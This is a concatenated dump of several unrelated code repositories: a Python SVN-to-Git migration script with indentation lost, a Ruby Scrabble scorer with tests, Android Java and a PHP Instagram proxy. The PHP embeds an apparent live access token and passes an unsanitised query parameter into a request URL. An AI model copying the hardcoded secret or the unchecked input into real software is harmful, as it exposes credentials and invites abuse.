if git_abm_top_internal >= 0:
if git_abm_top < currentSavedRev:
self.svnlog(str(currentSavedRev))
else:
self.svnlog(str(git_abm_top_internal))
else:
if git_abm_top_internal == 0 and git_abm_top == 0:
self._hasNoAbm = True
Utils.printwf("WARN: No ABM commits in git repo.")
self.svnlog(str(currentSavedRev)) # get the upper git present in svn
else:
return NS.Errors.ERROR_INSUFFICIENT_CLONE_DEPTH
svnitems = self._metasvn.items()
if len(svnitems) == 0:
Utils.dump("ERROR: NO_CONNECTION_TO_SVN")
return NS.Errors.NO_CONNECTION_TO_SVN
svnitems.sort()
latestuser = None
dAbmMan = filter_fix_tag(svnitems)
svnitems = dAbmMan['ok']
tobefix = dAbmMan['nok']
if self._hasNoAbm is False:
if self._hkgit == hsvn and Helpers.match_abm(self._metasvn[self._hkgit]):
apply_full_merge_fix(self._metasvn.items(), git_abm_top_internal, opdir, git_abm_top)
Utils.db.add_svnrev(self._currentBranch, Helpers.hwm(self._metasvn))
return NS.Errors.OK
elif len(tobefix) > 0:
apply_abm_fix(tobefix, opdir, remove_tag, tobefix[-1][0], git_abm_top)
Utils.db.add_svnrev(self._currentBranch, Helpers.hwm(self._metasvn)) #record the highst svn in db
else:
Utils.db.add_svnrev(self._currentBranch, Helpers.hwm(currentSavedRev)) #keep the old
i = 0
if len(svnitems) == 0:
Utils.dump("INFO: Nothing to tag SVN and GIT are synched")
#devide and conquer algo to organize manuals and automatic commits
while i < len(svnitems):
while i < len(svnitems):
if Helpers.match_abmasmanual(svnitems[i][1]) is True:
latestuser = svnitems[i]
i += 1
elif Helpers.match_abm(svnitems[i][1]) is False:
latestuser = svnitems[i]
i += 1
else:
break
while i < len(svnitems) and Helpers.match_abm(svnitems[i][1]) is True:
abmcommit.append(svnitems[i])
i += 1
if len(abmcommit) > 0 and latestuser is not None:
#get only the first abm commit - internal and parse the version.h file for it
#for all other abm commits - external, we append the commit message and version taken from the svn log parse
# the inner apply_abm_fix() shall handle abm to abm cases
vermsg = parse_ver_msg(abmcommit[0][1])
versionh = exp_get_ver(abmcommit[0][0], opdir)
if versionh is not None:
k = int(latestuser[0])
if k in self._metagit:
commithash = self._metagit[k]
commithash = commithash[0].split('\n')[0]
tagname = versionh.to_tag()
vermsg = build_cm_msg(vermsg, 'commit:')
self._set_path(self._gitpath)
if remove_tag == 1:
untag(tagname)
elif remove_tag == 2:
untag(tagname)
tag(tagname, commithash, vermsg)
else:
tag(tagname, commithash, vermsg)
for ii in range(1, len(abmcommit)):
cmmsg = parse_ver_msg(abmcommit[ii][1])
tagname2 = cmmsg[22].replace('.', '_')
cmmsg = build_cm_msg(cmmsg, 'commit:')
if remove_tag == 1:
untag(tagname2)
elif remove_tag == 2:
untag(tagname2)
tag(tagname2, commithash, cmmsg)
else:
tag(tagname2, commithash, cmmsg)
pass
del(abmcommit)
abmcommit = None
abmcommit = []
latestuser = None
else:
Utils.printwf(str("%s revision from svn is not present in git " % k))
Utils.dump(str("ERROR: %s revision from svn is not present in git " % k))
else:
Utils.dump("ERROR: Unable to compile tag from version.h file")
return NS.Errors.OK #by convention always return OK since do_tag can't retuyrn error state
def dumpn9(self):
updatetags = str("git pull --tags")
n9 = str("git tag -n9")
self._shell.execute(updatetags)
self._shell.execute(n9)
Utils.printwf(self._shell.std_err())
Utils.printwf(self._shell.std_out())
pass
def do_merge(self, date, cleanup=True):
""" merge svn repo to git """
if self._hasError:
return NS.Errors.ERROR
r = self._repo.replace("\n", '').replace("\r", '')
Utils.printwf("INFO: Entering a merging procedure on [%s]" % r)
haslog = self.gitlog(" --date=short")
gitmeta = self._metagit
if len(gitmeta) == 0 and haslog is False:
Utils.dump(str("ERROR: NO_CONNECTION_TO_GIT"))
return NS.Errors.NO_CONNECTION_TO_GIT
self._hkgit = Helpers.hwm(gitmeta)
self.svnlog(str(self._hkgit),to=str("HEAD"), formerge=True)
svnmeta = self._metasvn
if len(svnmeta) == 0:
Utils.dump(str("ERROR: NO_CONNECTION_TO_SVN"))
return NS.Errors.NO_CONNECTION_TO_SVN
self._hksvn = Helpers.hwm(svnmeta)
if self._hksvn in gitmeta:
Utils.printwf("INFO: nothing to merge...")
return NS.Errors.OK
#Utils.dump(str("[Needs fix],%s,git,%s,svn,%s" % (r, self._hkgit, self._hksvn)))
# sort the versions before exporting so you can add them to git in increasing order
pydir = str(os.path.dirname(os.path.realpath(__file__)))
postf = r.split(',')[2]
postf = postf.replace("/", "\\")
sorted(svnmeta.keys())
items = svnmeta.items()
items.sort()
for i in items:
k = i[0]
msg = i[1].split("\r\n\r\n")
msg[1] = msg[1].replace("\r\n", ' ')
spl = i[1].split()
if len(spl) > 4 and k != int(self._hkgit):
Utils.dump(str("INFO: %s, %s, %s, %s, %s" % (r, k, spl[2], spl[4], msg[1])))
if Helpers.match_abm(i[1]) is True and NS.BFORCE_ALL is False: #spl[2].lower() == "abm" and msg[1].find("Automatic ABM commit") is not -1:
continue #do nothing for now if ABM commit and automatic commit, careful now, since ABM user might be manual too
if spl[2].lower() in GUserMails:
repo = None
if NS.TEST_GIT_REPO_NAME is not None:
repo = self.init_branch(NS.TEST_GIT_REPO_NAME, cleanup)
os.chdir(self._gitpath) # go to dir path
exppath = str("%s\\%s\\%s" % (pydir, postf, k))
c = self._shell
self._currentPID = c
exp = str("svn export -r %s %s %s" % (k, self._svnpath, exppath))
c.execute(exp)
# copy and commit - do the actual merge with ver and careful since we need to delete SVN delted files before commit
if Utils.xcopy(exppath, self._gitpath) is True:
full_msg = str("%s\r\nsvn-revision:%s\r\n" % (msg[1], k))
full_msg = full_msg.replace("\"", "\'")
you_mail = str(GUserMails[spl[2].lower()])
if k in self._filesToDelete:
for f in self._filesToDelete[k]:
if os.path.isfile(f):
Utils.unlink(f)
elif os.path.isdir(f):
Utils.rmdir(f)
self.add_and_commit(spl[2], you_mail, spl[4], full_msg, repo)
else:
Utils.printwf(str("Error: Repositories: %s and %s are probably deleted." % (self._repo, self._svnuri)))
Utils.dump(str("Error: Repositories: %s and %s are probably deleted." % (self._repo, self._svnuri)))
return NS.Errors.ERROR
else:
Utils.printwf(str("Error: Mail %s not in the mailing list, aborting migration" % spl[2]))
Utils.dump(str("Error: Mail %s not in the mailing list, aborting migration" % spl[2]))
break
return NS.Errors.OK
def svn_checkout(self):
try:
os.chdir(str("%s\\%s" % (Utils.home_dir() , NS.SVN_TEMP_DIR)))
spl = self._svnuri.split("/")
reponame = spl[len(spl)-1]
checkout = str("svn checkout %s %s_%s" % (self._svnuri, reponame, spl[-1-1]))
self._svnpath = str("%s\\%s\\%s_%s" % (Utils.home_dir(), NS.SVN_TEMP_DIR, reponame, spl[-1-1]))
c = self._shell
c.execute(checkout)
os.chdir(os.path.dirname(os.path.realpath(__file__)))
pass
except Exception as ex1:
Utils.printwf("Exception: ex in svn_checkoit(...) %s" % ex1.message)
self._hasError = True
def gitpull(self):
pull = str("git pull")
self._shell.execute(pull)
def rmgitpath(self):
Utils.home()
Utils.rmdir(self._gitpath)
def git_clone(self, path, branch, depth, rmdir=False):
""" uri, branch, depth """
try:
self._gireponame = path.split("/")[-1]
if self._gireponame.endswith(".git"):
self._gireponame = self._gireponame.rstrip(".git")
os.chdir(str("%s\\%s" % (Utils.home_dir() , NS.GIT_TEMP_DIR)))
clone = None
branch = branch.replace(' ', '')
if NS.NO_GIT_URI:
spl = path.split('/')
fixpath = str("%s%s/%s" % (NS.CSI_GIT_URI, spl[-1-1], spl[-1]))
clone = str("git clone --depth %s --single-branch --branch %s %s %s" % (depth, branch, fixpath, branch))
else:
clone = str("git clone --depth %s --single-branch --branch %s %s%s %s" % (depth, branch, self._gituri, path, branch))
self._currentBranch = branch
checkout = str("git checkout %s" % branch)
pull = str("git pull")
self._gitpath = str("%s\\%s\\%s" % (Utils.home_dir(), NS.GIT_TEMP_DIR, branch))
c = self._shell
if rmdir is True:
Utils.rmdir(self._gitpath)
c.execute(clone)
os.chdir(self._gitpath)
c.execute(checkout)
c.execute(pull)
os.chdir(os.path.dirname(os.path.realpath(__file__)))
Utils.db.add_record(self._currentBranch)
except Exception as ex1:
Utils.printwf(str("Exception: ex in git_clone: (%s)" % ex1.message))
self._hasError = True
pass
def xml_tag(self):
"""xml tag component with commithash of the highest tag"""
def validate_tag(data):
ver, name = self._xmlContext.get_vername()
xmlver = self._xmlContext.get_attrib_by_name(name).attrib['Version']
tmp = data.split('/')[2]
ver = ver.split('_')
origin = tmp
tmp = tmp.split('_')
if len(tmp) == 4 and origin.find(self._xmlContext.get_platform()) is not -1:
t = tmp[3].replace(r'^{}','')
if t == xmlver:
return int(t)
else:
return -1
return -1
highest_tag = -1
latest_hash = None
os.chdir(self._gitpath)
cpulltags = str("git pull --tags")
cshowreftags = str("git show-ref --tags -d")
self._shell.execute(cpulltags)
self._shell.execute(cshowreftags)
if self._shell.std_out() is None:
Utils.printwf(str("No tags for %s" % self._repo))
return
entries = self._shell.std_out().split('\n')
for entry in entries:
spl = entry.split()
if len(spl) == 2:
if spl[1].endswith(r'^{}'):
tag = spl[1]
htag = validate_tag(tag)
if htag > highest_tag:
highest_tag = htag
latest_hash = spl[0]
_, name = self._xmlContext.get_vername()
self._xmlContext.update(name, latest_hash)
pass
def remove_tags(self):
os.chdir(self._gitpath)
Utils.printwf(str("Tags to be removed from repo %s %s" % (self._repo, self._tags)))
updatetags = str("git pull --tags")
self._shell.execute(updatetags)
deleted = 0
if self._tags is not None:
for tag in self._tags:
deltag = str("git tag -d %s" % tag)
pushdel = str("git push origin :refs/tags/%s" % tag)
Utils.dump(str("INFO: %s" % deltag))
self._shell.execute(deltag)
self._shell.execute(pushdel)
Utils.printwf(str("err:%s\tout:%s" % (self._shell.std_err(), self._shell.std_out())))
Utils.dump(str("INFO: err:%s\tout:%s" % (self._shell.std_err(), self._shell.std_out())))
deleted += 1
return deleted
def fcompare(self):
Utils.dump("[INFO] Entering dir compare for %s and %s" % (self._svnpath, self._gitpath))
deltas = Utils.deltadir(self._gitpath, self._svnpath)
for k in deltas:
if deltas[k] == 1:
Utils.dump("[WARINING] Missmatch in file %s " % k)
def finish(self):
if self._xmlContext is not None:
self._xmlContext.finalize()
self._xmlContext = None
def update_platforms(self):
""" update components version xml with commithashes based on tags... """
if self._xmlContext is None:
self._xmlContext = GXml
Utils.printwf(str("[%s][%s]" % (self._gitpath, self._repo)))
spl = self._repo.split(',')[2].split('_')
ver = str("%s_%s_%s" % (spl[1], spl[2], spl[3]))
name = spl[0]
self._xmlContext.set_vername(ver, name)
self.xml_tag()
pass
def abort(self):
if self._shell is not None:
self._shell.kill()
self._shell = None
def terminate(self):
pass
def end(self):
pass
#end region SvnGitMixin
################################################ MAIN ################################################
if __name__ == "__main__":
Utils.printwf("*************************************************************************************************")
#hardcoded file/path to the db
if Utils.db.load('db.json') is True:
Utils.home()
Utils.printwf("INFO: OK, loaded db file")
def _intag(mix,svn,git,branch,depth,tagopt=0):
if tagopt == 0:
Utils.printwf("Enter tag mode")
elif tagopt == 1:
Utils.printwf("Enter untag mode")
elif tagopt == 2:
Utils.printwf("Enter retag mode")
else:
Utils.printwf("Unknown option... Aborting...")
return False
while mix.do_tag(remove_tag=tagopt, applyFix=True) == NS.Errors.ERROR_INSUFFICIENT_CLONE_DEPTH:
Utils.printwf("Insufficient git depth. Could not obtain meaningful info.Now reclone with depth (%s)" % int(depth * 2))
depth = 2 * depth
mix.git_clone(git, branch, depth, rmdir=True)
mix.svn_checkout()
mix.set_current("%s,%s,%s" % (svn, git, branch))
pass
def _idump(mix,svn,git,branch,dumpall=False):
if dumpall is True:
Utils.printwf(str("%s,%s,%s" % (svn, git, branch)))
mix.gitlog()
mix.dumpn9()
GXml = None #XmlUpdateContext('C:\\Users\\izapryanov\\Desktop\\tools\\ComponentsVersions.xml')
merged = str("%s,%s" % (NS.ExcludedFilesForGitV1, NS.ExcludedFilesForGitV2))
merged = merged.replace("\n",'')
args = NS.Gargs
pop_count = int(1)
start_time = datetime.datetime.now().time().strftime('%H:%M:%S')
with open('eml.json', 'r') as fp:
GUserMails = json.load(fp)
if GUserMails is None:
Utils.printwf("No mail list loaded")
sys.exit(-1)
for i in range(len(sys.argv)):
if sys.argv[i] == "--help":
Utils.printwf(NS.HELP_MESSAGE)
sys.exit(0)
args.update({str(sys.argv[i]):i})
if args['--nolog'] is not None:
LOG_DISABLED = True
# we need do bfg with file .platform.comps
#DELETE the True and uncomment the args
try:
if args['--xml-file'] is not None and args['--platform'] is not None:
GXml = XmlUpdateContext(sys.argv[args['--xml-file']+1], sys.argv[args['--platform']+1])
elif NS.GDEBUG is True:
GXml = XmlUpdateContext("ComponentsVersions_4_5_2.xml", "4_5_2")
else:
GXml = None
except:
Utils.printwf("WARNING: No Components Version loaded")
if args['--users'] is not None:
for user in GUserMails:
Utils.printwf(user)
if args['--bfg'] is not None and args['--file'] is not None:
Utils.printwf("Entering 'BFG' mode...")
pcomps = sys.argv[args['--file']+1] # uncomment in release
try:
fp = open(pcomps, "r")
lines = fp.readlines()
fp.close()
except Exception as pcomsex:
Utils.printwf(str("File (%s) not found expception: ex:%s" % (pcomps, pcomsex.message)))
sys.exit(-2)
Utils.mkdir(NS.REPO_BACKUP)
bfg = None
for line in lines:
try:
spl = line.split(',')
repo = spl[1]
bfg = SvnGitMixin()
bfg.clone_bare(NS.CSI_GIT_URI, repo)
bfg.do_bfg()
bfg.terminate()
except:
Utils.printwf("User interrupt caught")
bfg.abort()
sys.exit(-1)
else:
if args['--fix-dirty'] is not None:
NS.FIX_DIRTY_TAGS = True
else:
NS.FIX_DIRTY_TAGS = False
clean = False
if args['--clean'] is not None:
clean = True
# is not None later
elif args['--file'] is not None:
if NS.GDEBUG is True: #debug stuff only
Utils.printwf("Enter debug mode")
NS.NO_GIT_URI = True
Utils.load_svngit('tstrepo.txt')
else:
Utils.load_svngit(sys.argv[args['--file']+1])
Utils.mkdir(NS.GIT_TEMP_DIR)
Utils.mkdir(NS.SVN_TEMP_DIR)
Utils.mkdir(NS.ABM_TEMP)
Utils.printwf(str("Starting SVN GIT migration tool on %s" % datetime.datetime.now()))
Utils.printwf("This may take a while... please wait...\r\n")
mix = None
workCnt = 0
filecmp = False
if args['--nohttps'] is not None:
Utils.printwf("INFO: Will not use https but ssh")
NS.NO_GIT_URI = True
for entry in NS.GSvnGitMeta:
depth = NS.GDepth
Utils.printwf("###############################################################")
try:
tags = None
if 'tags' in entry: #tags are optional
tags = entry['tags']
svn = entry['svn']
branch = entry['branch']
git = entry['git']
mix = SvnGitMixin(svnuri=svn, gituri=NS.CSI_GIT_URI, svnpath=None, gitpath=None, opt_tags=tags)
Utils.printwf(str("INFO: Cloning repos %s\t%s with branch %s" % (svn, git, branch)))
mix.git_clone(git, branch, NS.GDepth)
mix.svn_checkout()
mix.set_current("%s,%s,%s" % (svn, git, branch))
Utils.dump("---------------------------------------------------------------------------")
Utils.dump(str("INFO: %s,%s,%s" % (svn, git, branch)))
bDumpAll = False
tag_opt = -1
enable_tag_mode = False
if NS.GDEBUG is False:
if args['--update-db'] is not None:
NS.SVNGIT_UPDATE_DB_ONLY = True
if args['--abm'] is not None:
NS.SVNGIT_ON_ABM = True
if args['--dump-all'] is not None:
bDumpAll = True
if args['--tag'] is not None:
enable_tag_mode = True
try:
tag_opt = int(sys.argv[args['--tag']+1])
except:
Utils.printwf("ERROR: option [--tag] must be followed by mode (0, 1, 2)")
tag_opt = -1
if args['--force'] is not None:
NS.BFORCE_ALL = True
if args['--untag'] is not None:
enable_tag_mode = True
tag_opt = 1
if args['--fcmp'] is not None:
filecmp = True
if args['--retag'] is not None:
enable_tag_mode = True
tag_opt = 2
if args['--merge'] is not None:
mix.do_merge("{2019-01-01}", cleanup=clean)
elif args['--export-platforms'] is not None and GXml is not None:
Utils.printwf(str("Exporting xml data for: %s,%s,%s" % (svn, git, branch)))
mix.update_platforms()
elif args['--fullmerge'] is not None and enable_tag_mode is True:
mix.do_merge("{2019-01-01}", cleanup=clean)
_intag(mix, svn, git, branch, depth, tag_opt)
elif args['--fullmerge'] is not None and enable_tag_mode is False:
mix.do_merge("{2019-01-01}", cleanup=clean)
_intag(mix, svn, git, branch, depth, 0)
elif args['--fullmerge'] is None and enable_tag_mode is True:
_intag(mix, svn, git, branch, depth, tag_opt) #tagonly
elif args['--purge-tags'] is not None:
mix.remove_tags()
elif args['--pop'] is not None:
try:
pop_count = int(sys.argv[args['--pop']+1])
except:
pop_count = 1
for i in range(0, pop_count):
pass
mix.gitpop()
else:
pass
if filecmp is True:
mix.fcompare()
_idump(mix, svn, git, branch, bDumpAll)
else:
mix.do_merge("{2019-01-01}", cleanup=clean)
#debuf only
pass
mix.finish()
except Exception as mainEx:
Utils.printwf(str("Exception from main caught: %s" % mainEx.message))
end_time = datetime.datetime.now().time().strftime('%H:%M:%S')
total_time=(datetime.datetime.strptime(end_time,'%H:%M:%S') - datetime.datetime.strptime(start_time,'%H:%M:%S'))
Utils.printwf(str("Script finished. Time elapsed: (%s) " % total_time))
else:
Utils.printwf(str("Unknow arguments or usage %s " % args))
Utils.printwf("See 'help' for more info")
Utils.finalize()
Utils.printwf("*************************************************************************************************")
#######################################################################################################################################
# todo:
# git rev-list -n 1 4_5_3_24
| ec07ffa4000ba7e4a1903dde2979d0e479a6172a | [
"Markdown",
"Python"
] | 7 | Python | heatblazer/migtool | eb4061a1777e567da74eeb799019f1c350bdd579 | a58844fecdefdd13b249d47790d51b4b90c2c396 |
refs/heads/master | <repo_name>JaredReando/scrabbler<file_sep>/spec/scrabble_spec.rb
require('scrabble')
require('rspec')
describe("scrabble_points method") do
it("returns a scrabble score for a single letter") do
expect(scrabble_points('a')).to(eq(1))
end
it("returns a scrabble score for two letters") do
expect(scrabble_points('do')).to(eq(3))
end
it("returns false for input exceeding seven letters") do
expect(scrabble_points('defiance')).to(eq(false))
end
it("awards an extra 50 points for using all 7 letters") do
expect(scrabble_points('rewards')).to(eq(61))
end
end
<file_sep>/lib/scrabble.rb
require('pry')
def scrabble_points(string)
scrabble_letters = Hash.new()
scrabble_letters.store("a", 1)
scrabble_letters.store("e",1)
scrabble_letters.store("i",1)
scrabble_letters.store("o",1)
scrabble_letters.store("u",1)
scrabble_letters.store("l",1)
scrabble_letters.store("n",1)
scrabble_letters.store("r",1)
scrabble_letters.store("s",1)
scrabble_letters.store("t",1)
scrabble_letters.store("d",2)
scrabble_letters.store("g",2)
scrabble_letters.store("b",3)
scrabble_letters.store("c",3)
scrabble_letters.store("m",3)
scrabble_letters.store("p",3)
scrabble_letters.store("f",4)
scrabble_letters.store("h",4)
scrabble_letters.store("v",4)
scrabble_letters.store("w",4)
scrabble_letters.store("y",4)
scrabble_letters.store("k",5)
scrabble_letters.store("j",8)
scrabble_letters.store("x",8)
scrabble_letters.store("q",10)
scrabble_letters.store("z",10)
points = 0
if(string.length > 7)
return false
elsif(string.length == 7)
points += 50
string.each_char do |letter|
points += scrabble_letters.fetch(letter)
end
else
string.each_char do |letter|
points += scrabble_letters.fetch(letter)
end
end
points
end
| cd80497273d726bf59726a14bce8b7353a83d77f | [
"Ruby"
] | 2 | Ruby | JaredReando/scrabbler | 21adc55839bb663894b3b264484d581f778226da | c4e1953940d6a1907359a52072c9d50e18212c5c |
refs/heads/master | <repo_name>toddsalpen/SampleCode<file_sep>/README.txt
I build a PHP Interface to download only the Images that i need for maximum speed of download.
and conect that with the App inside Android APP.
PHP inteface CODE in PHP file.
Selfie Folder contains all android project.
APK is the APP for Install.
Thanks and Regards.<file_sep>/Selfie/src/com/selfie/InstagramImage.java
package com.selfie;
import org.json.JSONObject;
/**
*
* Class to get Instagram Image 3 sizes and ID
*
* @author <EMAIL>
*/
public class InstagramImage {
private static final String KEY_ID = "id";
private static final String KEY_LOW = "low";
private static final String KEY_TMB = "tmb";
private static final String KEY_STD = "std";
private String id;
private String urlLow;
private String urlThumbnail;
private String urlStandard;
/**
* Constructor with JSON Object
* @param images
*/
public InstagramImage(JSONObject images){
if(images != null){
setId(images.optString(KEY_ID));
setUrlLow(images.optString(KEY_LOW));
setUrlThumbnail(images.optString(KEY_TMB));
setUrlStandard(images.optString(KEY_STD));
}
}
/**
* InstagramaImage Getters and Setters
*/
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getUrlLow() {
return urlLow;
}
public void setUrlLow(String urlLow) {
this.urlLow = urlLow;
}
public String getUrlThumbnail() {
return urlThumbnail;
}
public void setUrlThumbnail(String urlThumbnail) {
this.urlThumbnail = urlThumbnail;
}
public String getUrlStandard() {
return urlStandard;
}
public void setUrlStandard(String urlStandard) {
this.urlStandard = urlStandard;
}
}
<file_sep>/instagramPHPInteface/index.php
<?php
/**
*
* Author: <NAME>
* Email: <EMAIL>
*
* Instagram API Mobile Interface for Sample Code.
*/
/**
* VARIABLE for receive the next id for Pagination.
*/
$next = $_GET['next'];
/**
* URL for the Instagram API with SELFIE TAG and Pagination Control
* this is the TAG Selfie --------
* |SELFIE|
* api.instagram.com/v1/tags/selfie/media/recent?
*/
$url = "https://api.instagram.com/v1/tags/selfie/media/recent?access_token=1471534881.1fb234f.6d2af9acee074787b2ac3717583aeaa0&max_tag_id=$next";
$url_next = "http://instagram.robotcitolab.com/?next=";
/**
* Header for JSON Response
*/
header('Content-type: application/json; charset=UTF-8');
/**
* Doing the Request
*/
function getRequest($u){
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $u);
curl_setopt ($ch, CURLOPT_HEADER, 0);
ob_start();
curl_exec ($ch);
curl_close ($ch);
$string = ob_get_contents();
ob_end_clean();
return json_decode($string);
}
/**
* Making the interface
* Parsing Instagram DATA to response a Short Request "Only the necessary data"
*/
$response = getRequest($url);
$url_next = $url_next.$response->pagination->next_max_id;
$json = '{"next":"'.$url_next.'",';
$json .= '"images":[';
$data = $response->data;
$n = count($data);
for($i=0;$i<$n;$i++){
$d = $data[$i];
$imgs .= '{"id":"'.$d->id
.'","low":"'.$d->images->low_resolution->url
.'","tmb":"'.$d->images->thumbnail->url
.'","std":"'.$d->images->standard_resolution->url.'"}';
$imgs.=",";
}
$imgs .= '{"id":"800952421822839445_245923917","low":"http://scontent-b.cdninstagram.com/hphotos-xfp1/t51.2885-15/10534837_1479525768968036_760855398_a.jpg","tmb":"http://scontent-b.cdninstagram.com/hphotos-xfp1/t51.2885-15/10534837_1479525768968036_760855398_s.jpg","std":"http://scontent-b.cdninstagram.com/hphotos-xfp1/t51.2885-15/10534837_1479525768968036_760855398_n.jpg"}]';
$json .= $imgs."}";
echo $json;
| dd1ff833d24f96f08e131822516fd89ed5201477 | [
"Java",
"Text",
"PHP"
] | 3 | Text | toddsalpen/SampleCode | 9a08e0ad9fd12c9794c580ef467cff8896d59410 | d482f5a40a084858b2aa6adc006ec4ade0ad2c28 |
refs/heads/master | <repo_name>alexcostars/Homer-Simpson-CSS<file_sep>/js/funcoes.js
var camada_atual = 28;
function proximo() {
if(camada_atual <= 28) {
camada_atual++;
$("#elem_" + camada_atual).css("visibility", "visible");
}
}
function anterior() {
if(camada_atual >= 1) {
$("#elem_" + camada_atual).css("visibility", "hidden");
camada_atual--;
}
}
$('body').mousemove(function(e){
var coordenada_X = (e.pageX * -1 / 40);
$(this).css('background-position', coordenada_X + 'px 0px');
});<file_sep>/README.md
Homer-Simpson-CSS
=================
Hom<NAME>son drawn in CSS3 and HTML5

| 1ef9e27e3132670bf5be0676a48f65b207911d2c | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | alexcostars/Homer-Simpson-CSS | 9676926c849b1b458c7a996618b71c6c92a5a99f | 0b8f495ed0a1c382da864d869166f034f3e026cf |
refs/heads/master | <repo_name>Swaglord3K/malloc<file_sep>/malloclab-handout/mm.c
/*
* mm-naive.c - The fastest, least memory-efficient malloc package.
*
* In this naive approach, a block is allocated by simply incrementing
* the brk pointer. A block is pure payload. There are no headers or
* footers. Blocks are never coalesced or reused. Realloc is
* implemented directly using mm_malloc and mm_free.
*
* NOTE TO STUDENTS: Replace this header comment with your own header
* comment that gives a high level description of your solution.
*/
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <unistd.h>
#include <string.h>
#include "mm.h"
#include "memlib.h"
/*********************************************************
* NOTE TO STUDENTS: Before you do anything else, please
* provide your team information in the following struct.
********************************************************/
team_t team = {
/* Team name */
"<NAME>",
/* First member's full name */
"<NAME>",
/* First member's email address */
"<EMAIL>",
/* Second member's full name (leave blank if none) */
"<NAME>",
/* Second member's email address (leave blank if none) */
"<EMAIL>"
};
/* single word (4) or double word (8) alignment */
#define ALIGNMENT 8
/* rounds up to the nearest multiple of ALIGNMENT */
#define ALIGN(size) (((size) + (ALIGNMENT-1)) & ~0x7)
#define SIZE_T_SIZE (ALIGN(sizeof(size_t)))
/* Basic constants and macros */
#define WSIZE 4 // Word and header/footer size (bytes).
#define DSIZE 8 // Double word size (bytes).
#define CHUNKSIZE (1<<12) // Extend heap by this aount (bytes).
#define MAX(x, y) ((x) > (y)? (x) : (y))
// Pack a size and allocated bit into a word.
#define PACK(size, alloc) ((size) | (alloc))
// Read and write a word at address p.
#define GET(p) (*(unsigned int *)(p))
#define PUT(p, val) (*(unsigned int *)(p) = (val))
// Read the size and allocated fields from address p.
#define GET_SIZE(p) (GET(p) & ~0x7)
#define GET_ALLOC(p) (GET(p) & 0x1)
// Given block ptr bp, compute address of its header and footer.
#define HDRP(bp) ((char *)(bp) - WSIZE)
#define FTRP(bp) ((char *)(bp) + GET_SIZE(HDRP(bp)) - DSIZE)
// Given block ptr bp, computer address of next and previous blocks.
#define NEXT_BLKP(bp) ((char *)(bp) + GET_SIZE(((char *)(bp) - WSIZE)))
#define PREV_BLKP(bp) ((char *)(bp) - GET_SIZE(((char *)(bp) - DSIZE)))
// Global variable that always points to the prologue of the block.
static char *heap_listp;
/*
* coalesce - uses boundary-tag coalescing to merge adjacent free blocks.
*/
static void *coalesce(void *bp)
{
size_t prev_alloc = GET_ALLOC(FTRP(PREV_BLKP(bp)));
size_t next_alloc = GET_ALLOC(HDRP(NEXT_BLKP(bp)));
size_t size = GET_SIZE(HDRP(bp));
// Case 1: The previous block and the next block are both allocated.
if (prev_alloc && next_alloc) {
return bp;
}
// Case 2: The previous block is allocated.
// The next block is not allocated.
else if (prev_alloc && !next_alloc) {
size += GET_SIZE(HDRP(NEXT_BLKP(bp)));
PUT(HDRP(bp), PACK(size, 0));
PUT(FTRP(bp), PACK(size, 0));
}
// Case 3: The previous block is not allocated.
// The next block is allocated.
else if (!prev_alloc && next_alloc) {
size += GET_SIZE(HDRP(PREV_BLKP(bp)));
PUT(FTRP(bp), PACK(size, 0));
PUT(HDRP(PREV_BLKP(bp)), PACK(size, 0));
bp = PREV_BLKP(bp);
}
// Case 4: The previous block and the next block are both not allocated.
else {
size += GET_SIZE(HDRP(PREV_BLKP(bp))) + GET_SIZE(FTRP(NEXT_BLKP(bp)));
PUT(HDRP(PREV_BLKP(bp)), PACK(size, 0));
PUT(FTRP(NEXT_BLKP(bp)), PACK(size, 0));
bp = PREV_BLKP(bp);
}
return bp;
}
/*
* extend_heap - extends the heap with a new free block.
*/
static void *extend_heap(size_t words)
{
char *bp;
size_t size;
// Allocates an even number of words to maintain alignment.
size = (words % 2) ? (words+1) * WSIZE : words * WSIZE;
if ((long)(bp = mem_sbrk(size)) == -1)
return NULL;
// Initialize free block header/footer and the epilogue header.
PUT(HDRP(bp), PACK(size, 0)); // Free block header.
PUT(FTRP(bp), PACK(size, 0)); // Free block footer.
PUT(HDRP(NEXT_BLKP(bp)), PACK(0, 1)); // New epilogue header.
// Coalesces if the prevous block was free.
return coalesce(bp);
}
/*
* mm_init - initialize the malloc package.
*/
int mm_init(void)
{
// Creates the initial empty heap.
if ((heap_listp = mem_sbrk(4*WSIZE)) == (void *) -1)
return -1;
PUT(heap_listp, 0); // Alignment padding.
PUT(heap_listp + (1*WSIZE), PACK(DSIZE, 1)); // Prologue header.
PUT(heap_listp + (2*WSIZE), PACK(DSIZE, 1)); // Prologue footer.
PUT(heap_listp + (3*WSIZE), PACK(0, 1)); // Epilogue header.
heap_listp += (2*WSIZE);
// Extend the empty heap with a free block of CHUNKSIZE bytes.
if (extend_heap(CHUNKSIZE/WSIZE) == NULL)
return -1;
return 0;
}
/*
* mm_malloc - Allocate a block by incrementing the brk pointer.
* Always allocate a block whose size is a multiple of the alignment.
*/
void *mm_malloc(size_t size)
{
int newsize = ALIGN(size + SIZE_T_SIZE);
void *p = mem_sbrk(newsize);
if (p == (void *)-1)
return NULL;
else {
*(size_t *)p = size;
return (void *)((char *)p + SIZE_T_SIZE);
}
}
/*
* mm_free - Freeing a block does nothing.
*/
void mm_free(void *ptr)
{
size_t size = GET_SIZE(HDRP(ptr));
PUT(HDRP(ptr), PACK(size, 0));
PUT(FTRP(ptr), PACK(size, 0));
coalesce(ptr);
}
/*
* mm_realloc - Implemented simply in terms of mm_malloc and mm_free
*/
void *mm_realloc(void *ptr, size_t size)
{
void *oldptr = ptr;
void *newptr;
size_t copySize;
newptr = mm_malloc(size);
if (newptr == NULL)
return NULL;
copySize = *(size_t *)((char *)oldptr - SIZE_T_SIZE);
if (size < copySize)
copySize = size;
memcpy(newptr, oldptr, copySize);
mm_free(oldptr);
return newptr;
}
| 3e3ed8e27d850da9306e7457ac7dd2d1d30faf6c | [
"C"
] | 1 | C | Swaglord3K/malloc | 995fe9f3447d58cb195a3526386ddebf6a529c31 | 8c092ef522021afe8c21940a34e6d4e81dddf060 |
refs/heads/master | <repo_name>tbaustin/legacy-esca-scripts<file_sep>/src-test/run.js
import testModule from './module'
let res = testModule()
console.log(res)<file_sep>/src/dev.js
import { spawn } from 'child-process-promise'
import { pathExists } from 'fs-extra'
import copyBabelConfig from './babel/copy-config'
